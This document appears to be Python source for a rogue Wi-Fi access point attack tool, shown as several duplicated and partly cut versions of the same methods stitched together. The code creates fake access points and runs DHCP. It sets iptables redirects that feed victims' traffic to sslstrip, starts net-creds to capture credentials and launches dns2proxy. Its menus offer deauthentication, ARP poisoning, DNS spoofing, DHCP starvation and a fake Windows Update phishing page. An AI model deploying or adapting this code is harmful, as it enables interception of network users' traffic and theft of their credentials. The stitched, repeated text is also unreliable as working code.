ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def refresh_interface(self, cb): cb.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if n[i] != '': cb.addItem(n[i])
def refresh_interface(self,cb): cb.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if n[i] != '': cb.addItem(n[i])
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: return QMessageBox.warning(self, 'Error permission', 'Run as root ') if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, 'Error interface', 'Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, 'Error Gateway', 'gateway not found') dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select != 'dnsmasq': if not self.ProgramCheck[3]: return QMessageBox.warning(self, 'Error dhcp', 'isc-dhcp-server not installed') else: if not self.ProgramCheck[4]: return QMessageBox.information(self, 'Error dhcp', 'dnsmasq not installed') self.interface = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode', self.interface, False) # airbase thread Thread_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(), self.interface ]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.Ap_iface = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.FSettings.xmlSettings('netcreds', 'interface', self.Ap_iface, False) break self.CoreSettings() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf', self.Ap_iface ]) self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() elif selected_dhcp == 'dnsmasq': Thread_dhcp = ThRunDhcp( ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d']) self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() else: return QMessageBox.information(self, 'DHCP', selected_dhcp + ' not found.') self.Started(True) # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread([ 'python', 'Plugins/net-creds/net-creds.py', '-i', self.FSettings.xmlSettings('netcreds', 'interface', None, False) ]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('PREROUTING -p udp -j DNAT --to', rules): popen(rules.replace('$$', str(self.EditGateway.text()))) elif search('--append FORWARD --in-interface', rules): popen(rules.replace('$$', self.Ap_iface)) elif search('--append POSTROUTING --out-interface', rules): popen( rules.replace('$$', str(Refactor.get_interfaces()['activated']))) else: popen(rules)
def intGUI(self): self.myQMenuBar = QMenuBar(self) self.myQMenuBar.setFixedWidth(400) self.StatusBar = QStatusBar() self.StatusBar.setFixedHeight(15) self.StatusBar.addWidget(QLabel("::Access|Point::")) self.StatusDhcp = QLabel("") self.Started(False) Menu_file = self.myQMenuBar.addMenu('&File') exportAction = QAction('exportToHtml', self) deleteAction = QAction('Clear Logger', self) exitAction = QAction('Exit', self) exitAction.setIcon(QIcon('rsc/close-pressed.png')) deleteAction.setIcon(QIcon('rsc/delete.png')) exportAction.setIcon(QIcon('rsc/export.png')) Menu_file.addAction(exportAction) Menu_file.addAction(deleteAction) Menu_file.addAction(exitAction) exitAction.triggered.connect(exit) deleteAction.triggered.connect(self.delete_logger) exportAction.triggered.connect(self.exportHTML) Menu_View = self.myQMenuBar.addMenu('&View') phishinglog = QAction('Credentials Phishing', self) netcredslog = QAction('Credentials NetCreds', self) #connect phishinglog.triggered.connect(self.credentials) netcredslog.triggered.connect(self.logsnetcreds) #icons phishinglog.setIcon(QIcon('rsc/password.png')) netcredslog.setIcon(QIcon('rsc/logger.png')) Menu_View.addAction(phishinglog) Menu_View.addAction(netcredslog) #tools Menu Menu_tools = self.myQMenuBar.addMenu('&Tools') ettercap = QAction('Active Ettercap', self) btn_drift = QAction('Active DriftNet', self) btn_drift.setShortcut('Ctrl+Y') ettercap.setShortcut('Ctrl+E') ettercap.triggered.connect(self.start_etter) btn_drift.triggered.connect(self.start_dift) # icons tools ettercap.setIcon(QIcon('rsc/ettercap.png')) btn_drift.setIcon(QIcon('rsc/capture.png')) Menu_tools.addAction(ettercap) Menu_tools.addAction(btn_drift) #menu module Menu_module = self.myQMenuBar.addMenu('&Modules') btn_deauth = QAction('Deauth Attack', self) btn_probe = QAction('Probe Request',self) btn_mac = QAction('Mac Changer', self) btn_dhcpStar = QAction('DHCP S. Attack',self) btn_winup = QAction('Windows Update',self) btn_arp = QAction('Arp Posion Attack',self) btn_dns = QAction('Dns Spoof Attack',self) action_settings = QAction('Settings',self) # Shortcut modules btn_deauth.setShortcut('Ctrl+W') btn_probe.setShortcut('Ctrl+K') btn_mac.setShortcut('Ctrl+M') btn_dhcpStar.setShortcut('Ctrl+H') btn_winup.setShortcut('Ctrl+N') btn_dns.setShortcut('ctrl+D') btn_arp.setShortcut('ctrl+Q') action_settings.setShortcut('Ctrl+X') #connect buttons btn_probe.triggered.connect(self.showProbe) btn_deauth.triggered.connect(self.formDauth) btn_mac.triggered.connect(self.form_mac) btn_dhcpStar.triggered.connect(self.show_dhcpDOS) btn_winup.triggered.connect(self.show_windows_update) btn_arp.triggered.connect(self.show_arp_posion) btn_dns.triggered.connect(self.show_dns_spoof) action_settings.triggered.connect(self.show_settings) #icons Modules btn_arp.setIcon(QIcon('rsc/arp_.png')) btn_winup.setIcon(QIcon('rsc/arp.png')) btn_dhcpStar.setIcon(QIcon('rsc/dhcp.png')) btn_mac.setIcon(QIcon('rsc/mac.png')) btn_probe.setIcon(QIcon('rsc/probe.png')) btn_deauth.setIcon(QIcon('rsc/deauth.png')) btn_dns.setIcon(QIcon('rsc/dns_spoof.png')) action_settings.setIcon(QIcon('rsc/setting.png')) # add modules menu Menu_module.addAction(btn_deauth) Menu_module.addAction(btn_probe) Menu_module.addAction(btn_mac) Menu_module.addAction(btn_dhcpStar) Menu_module.addAction(btn_winup) Menu_module.addAction(btn_arp) Menu_module.addAction(btn_dns) Menu_module.addAction(action_settings) #menu extra Menu_extra= self.myQMenuBar.addMenu('&Extra') Menu_about = QAction('About',self) Menu_help = QAction('Help',self) Menu_update = QAction('Update',self) #icons extra Menu_about.setIcon(QIcon('rsc/about.png')) Menu_help.setIcon(QIcon('rsc/report.png')) Menu_update.setIcon(QIcon('rsc/update.png')) Menu_about.triggered.connect(self.about) Menu_update.triggered.connect(self.show_update) Menu_extra.addAction(Menu_update) Menu_extra.addAction(Menu_about) self.EditGateway = QLineEdit(self) self.EditApName = QLineEdit(self) self.EditChannel = QLineEdit(self) self.selectCard = QComboBox(self) self.ListLoggerDhcp = QListWidget(self) self.ListLoggerDhcp.setFixedHeight(170) try: self.EditGateway.setText([Refactor.get_interfaces()[x] for x in Refactor.get_interfaces().keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.config.xmlSettings('AP', 'name',None,False)) self.EditChannel.setText(self.config.xmlSettings('channel', 'mchannel',None,False)) self.PortRedirect = self.config.xmlSettings('redirect', 'port',None,False) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('wlan', j): self.selectCard.addItem(n[i]) if not path.isfile('Modules/Templates/Windows_Update/Settins_WinUpdate.html'): system('cp Settings/source.tar.gz Modules/Templates/') system('cd Modules/Templates/ && tar -xf source.tar.gz') remove('Modules/Templates/source.tar.gz') driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0]] self.m = [] for i in lista: self.m.append(path.isfile(i)) self.form = QFormLayout() self.form2 = QFormLayout() hLine = QFrame() hLine.setFrameStyle(QFrame.HLine) hLine.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) hLine2 = QFrame() hLine2.setFrameStyle(QFrame.HLine) hLine2.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) vbox = QVBoxLayout() vbox.setMargin(5) vbox.addStretch(20) self.form.addRow(vbox) self.logo = QPixmap(getcwd() + '/rsc/logo.png') self.imagem = QLabel(self) self.imagem.setPixmap(self.logo) self.form.addRow(self.imagem) self.form.addRow('Gateway:', self.EditGateway) self.form.addRow('AP Name:', self.EditApName) self.form.addRow('Channel:', self.EditChannel) # grid network adapter fix self.btrn_refresh = QPushButton('Refresh') self.btrn_refresh.setIcon(QIcon('rsc/refresh.png')) self.btrn_refresh.clicked.connect(self.refrash_interface) self.grid = QGridLayout() self.grid.addWidget(QLabel('Network Adapter:'),0,0) self.grid.addWidget(self.selectCard, 0,1) self.grid.addWidget(self.btrn_refresh,0,2) self.btn_start_attack = QPushButton('Start Attack', self) self.btn_start_attack.setIcon(QIcon('rsc/start.png')) self.btn_start_attack.setFixedWidth(160) self.btn_cancelar = QPushButton('Stop Attack', self) self.btn_cancelar.setIcon(QIcon('rsc/Stop.png')) self.btn_cancelar.setFixedWidth(165) self.btn_cancelar.clicked.connect(self.kill) self.btn_start_attack.clicked.connect(self.StartApFake) self.form2.addRow(self.btn_start_attack, self.btn_cancelar) self.form2.addRow(self.ListLoggerDhcp) self.form2.addRow(self.StatusBar) self.Main.addLayout(self.form) self.Main.addLayout(self.grid) self.Main.addLayout(self.form2) self.setLayout(self.Main)
def refrash_interface(self): self.get_placa.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search('wlan', j): self.get_placa.addItem(n[i])
def CoreSettings(self): range_dhcp = self.config.xmlSettings('Iprange', 'range',None,False) self.PortRedirect = self.config.xmlSettings('redirect', 'port',None,False) self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.Ap_iface), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.Ap_iface), 'ifconfig %s mtu 1400'%(self.Ap_iface), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'iptables': [ 'killall dhpcd', 'killall dnsmasq', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'echo 1 > /proc/sys/net/ipv4/ip_forward', 'iptables -P FORWARD ACCEPT', 'iptables -t nat -A PREROUTING -p udp -j DNAT --to %s'%(self.EditGateway.text()), 'iptables --append FORWARD --in-interface %s -j ACCEPT'%(self.Ap_iface), 'iptables --table nat --append POSTROUTING --out-interface '+str(Refactor.get_interfaces()['activated'])+' -j MASQUERADE', 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+self.PortRedirect, #'iptables -t -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ' +Refactor.get_interfaces()['IPaddress'], 'iptables -t nat -A POSTROUTING -j MASQUERADE', 'touch /var/run/dhcpd.pid', 'chmod 777 /etc/dhcp/dhcpd.conf', ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'range %s;\n'% range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n'%(self.Ap_iface), 'dhcp-range=10.0.0.10,10.0.0.50,12h\n', 'server=8.8.8.8\n', 'server=8.8.4.4\n', ] } for i in self.SettingsAP['interface']:popen(i) for i in self.SettingsAP['iptables']:popen(i) dhcp_select = self.config.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']: dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Settings/dnsmasq.conf','w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.information(self, 'Error permission', 'Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.information(self, 'Error', 'Network interface not supported :(') return self.interface = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode', self.interface, False) # airbase thread thr_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/' + asctime(), self.interface ]) thr_airbase.name = 'Airbase-ng' self.thread.append(thr_airbase) thr_airbase.start() # settings conf while True: if thr_airbase.iface != None: self.Ap_iface = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.config.xmlSettings('netcreds', 'interface', self.Ap_iface, False) break # thread netcreds ThNetCreds = ProcessThread([ 'python', 'Plugins/NetCreds.py', '-i', self.config.xmlSettings('netcreds', 'interface', None, False) ]) ThNetCreds.setName('Net-Creds') self.thread.append(ThNetCreds) ThNetCreds.start() p = Process(target=self.CoreSettings, args=()) p.start(), p.join() # thread dhcp if self.config.xmlSettings('dhcp', 'dhcp_server', None, False) != 'dnsmasq': Thdhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf', self.Ap_iface ]) self.connect(Thdhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) else: Thdhcp = ThRunDhcp( ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d']) self.connect(Thdhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) # thread sslstrip Thsslstrip = Threadsslstrip(self.PortRedirect) Thsslstrip.setObjectName("Sslstrip") self.thread.append(Thsslstrip) Thsslstrip.start()
def StartApFake(self): self.btn_start_attack.setDisabled(True) if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, 'Error interface', 'Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, 'Error Gateway', 'gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self, 'Error Hostapd', 'hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self, 'Error dhcp', 'isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self, 'Error dhcp', 'dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information( self, 'Error network card', 'You are connected with interface wireless, try again with local connection' ) self.APactived = self.FSettings.xmlSettings('accesspoint', 'actived', None, False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode', self.ConfigTwin['interface'], False) # airbase thread Thread_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(), self.ConfigTwin['interface'] ]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.FSettings.xmlSettings('netcreds', 'interface', self.ConfigTwin['AP_iface'], False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds', 'interface', str(self.selectCard.currentText()), False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli', 'radio', 'wifi', "off"]) except CalledProcessError: try: check_output(['nmcli', 'nm', 'wifi', "off"]) except CalledProcessError as e: return QMessageBox.warning(self, 'Error nmcli', e) call(['rfkill', 'unblock', 'wlan']) self.CoreSettings() ignore = ('interface=', 'ssid=', 'channel=') with open('Settings/hostapd.conf', 'w') as apconf: for i in self.SettingsAP['hostapd']: apconf.write(i) for config in str( self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config + '\n') apconf.close() self.Thread_hostapd = ProcessHostapd( ['hostapd', '-d', 'Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect( self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-lf', 'Settings/dhcp/dhcpd.leases', '-cf', '/etc/dhcp/dhcpd.conf', self.ConfigTwin['AP_iface'] ]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else: return QMessageBox.information(self, 'DHCP', selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP', 'value', 'True', False) if self.FSettings.check_redirect.isChecked( ) or not self.PopUpPlugins.check_sslstrip.isChecked(): popen( 'iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format( str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin', 'status', 'False', False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread([ 'python', 'Plugins/net-creds/net-creds.py', '-i', self.FSettings.xmlSettings('netcreds', 'interface', None, False) ]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread( ['python', 'Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules): popen(rules.replace('$$', self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface', rules): popen( rules.replace('$$', str(Refactor.get_interfaces()['activated']))) else: popen(rules)
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: return QMessageBox.warning(self, "Error permission", "Run as root ") if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, "Error interface", "Network interface not supported :(") if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, "Error Gateway", "gateway not found") if not self.ProgramCheck[5]: return QMessageBox.information(self, "Error Hostapd", "hostapd not installed") dhcp_select = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if dhcp_select == "iscdhcpserver": if not self.ProgramCheck[3]: return QMessageBox.warning(self, "Error dhcp", "isc-dhcp-server not installed") elif dhcp_select == "dnsmasq": if not self.ProgramCheck[4]: return QMessageBox.information(self, "Error dhcp", "dnsmasq not installed") self.APactived = self.FSettings.xmlSettings("accesspoint", "actived", None, False) if self.APactived == "airbase-ng": self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings("interface", "monitor_mode", self.interface, False) # airbase thread Thread_airbase = ProcessThread( [ "airbase-ng", "-c", str(self.EditChannel.text()), "-e", self.EditApName.text(), "-F", "Logs/Caplog/" + asctime(), self.interface, ] ) Thread_airbase.name = "Airbase-ng" self.Apthreads["RougeAP"].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()["all"] if search("at", x)][0] self.FSettings.xmlSettings("netcreds", "interface", self.Ap_iface, False) break self.CoreSettings() elif self.APactived == "hostapd": self.FSettings.xmlSettings("netcreds", "interface", str(self.selectCard.currentText()), False) self.Ap_iface = str(self.selectCard.currentText()) call(["airmon-ng", "check", "kill"]) self.CoreSettings() ignore = ("interface=", "driver=", "ssid=", "channel=") with open("Settings/hostapd.conf", "w") as apconf: for i in self.SettingsAP["hostapd"]: apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split("\n"): if not config.startswith("#") and len(config) > 0: if not config.startswith(ignore): apconf.write(config + "\n") apconf.close() Thread_hostapd = ProcessThread(["hostapd", "Settings/hostapd.conf"]) Thread_hostapd.name = "hostapd" self.Apthreads["RougeAP"].append(Thread_hostapd) Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if selected_dhcp == "iscdhcpserver": Thread_dhcp = ThRunDhcp(["sudo", "dhcpd", "-d", "-f", "-cf", "/etc/dhcp/dhcpd.conf", self.Ap_iface]) self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() elif selected_dhcp == "dnsmasq": Thread_dhcp = ThRunDhcp(["dnsmasq", "-C", "Settings/dnsmasq.conf", "-d"]) self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() else: return QMessageBox.information(self, "DHCP", selected_dhcp + " not found.") self.Started(True) # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads["RougeAP"].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread( [ "python", "Plugins/net-creds/net-creds.py", "-i", self.FSettings.xmlSettings("netcreds", "interface", None, False), ] ) Thread_netcreds.setName("Net-Creds") self.Apthreads["RougeAP"].append(Thread_netcreds) Thread_netcreds.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search("PREROUTING -p udp -j DNAT --to", rules): popen(rules.replace("$$", str(self.EditGateway.text()))) elif search("--append FORWARD --in-interface", rules): popen(rules.replace("$$", self.Ap_iface)) elif search("--append POSTROUTING --out-interface", rules): popen(rules.replace("$$", str(Refactor.get_interfaces()["activated"]))) else: popen(rules)